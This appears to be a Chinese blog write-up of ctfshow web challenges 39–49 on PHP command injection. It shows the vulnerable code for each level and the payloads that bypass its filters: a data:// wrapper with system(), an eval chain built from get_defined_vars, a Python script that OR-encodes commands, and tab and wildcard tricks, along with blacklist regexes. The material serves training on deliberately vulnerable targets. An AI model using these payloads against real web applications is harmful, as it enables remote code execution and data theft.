命令执行(2)ctfshow_web入门命令执行web39-49

web39

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

没有回响,并且加了php的后缀,38的解法还是可以使用

?c=data://text/plain,<?=system("tac fla*.p*p");?>

web40

查看提示

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

通过货币信息(localeconv())取这个点(pos())来到当前目录(scandir())把目录结果进行翻转(array_reverse())取向下一个,然后展示源码(show_source)
换一种方法,获取所有变量print_r(get_defined_vars())

?c=print_r(get_defined_vars());

在这里插入图片描述加POST数组(在POST中应加;1=phpinfo(); )
在这里插入图片描述想办法拿到字符串
利用对数组的操作next()

?c=print_r(next(get_defined_vars()));

在这里插入图片描述获取数组值,对数组进行弹出array_pop()

?c=print_r(array_pop(next(get_defined_vars())));

在这里插入图片描述执行一下eval()
?c=eval(array_pop(next(get_defined_vars())));
在这里插入图片描述运行成功,直接拿flag,POST改为1=system(“tac flag.php”);

web41

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);

过滤了数字,小写字母,^,+,~,&,-
这里使用提示中的脚本

# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

原文链接:https://blog.csdn.net/miuzzx/article/details/108569080
这里我将程序修改了一下,将url直接改在程序中,否则会狂跳
用system
ls
尝试
在这里插入图片描述
能够输出,使用cat flag.php,得到结果
在这里插入图片描述

web42

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{

把返回结果写到null里,不会有任何保存
2代表错误输出,1代表标准输出,把2绑定到1
采用双写绕过
在这里插入图片描述
破坏了html构造,将第二个ls扔进null
采用?c=tac flag;ls获得flag

web43

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }

;用&&代替(记得url编码)
在这里插入图片描述

?c=tac flag.php&&ls

得到flag

web43

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }

web44

把flag过滤掉了,用?或者*替换

web45

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);

多过滤了空格,将空格换成水平制表符(%09)

?c=tac%09fla*.php%26%26ls

web46

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }

增加数字,$与*
用?绕过flag
其他与上一题一样

web47-49

截止web49,过滤如下内容

if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }

仍可以用上述方法

?c=tac%09fla?.php%26%26ls
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值